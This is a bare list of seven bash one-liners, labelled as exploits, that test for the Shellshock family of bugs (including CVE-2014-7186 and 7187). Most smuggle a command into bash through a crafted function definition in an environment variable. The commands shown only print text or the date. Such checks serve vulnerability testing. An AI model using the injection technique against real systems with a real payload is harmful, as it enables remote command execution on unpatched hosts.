Exploit 1
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Exploit 2
env X='() { (shellshocker.net)=>\' bash -c "echo date"; cat echo; rm ./echo
Exploit 3
env X=' () { }; echo hello' bash -c 'date'
Exploit 4
bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' ||
echo "CVE-2014-7186 vulnerable, redir_stack"
Exploit 5
(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash ||
echo "CVE-2014-7187 vulnerable, word_lineno"
Exploit 6
shellshocker='() { echo You are vulnerable; }' bash -c shellshocker
Exploit 7
bash -c "f() { x() { _;}; x() { _;} <<a; }" 2>/dev/null || echo vulnerable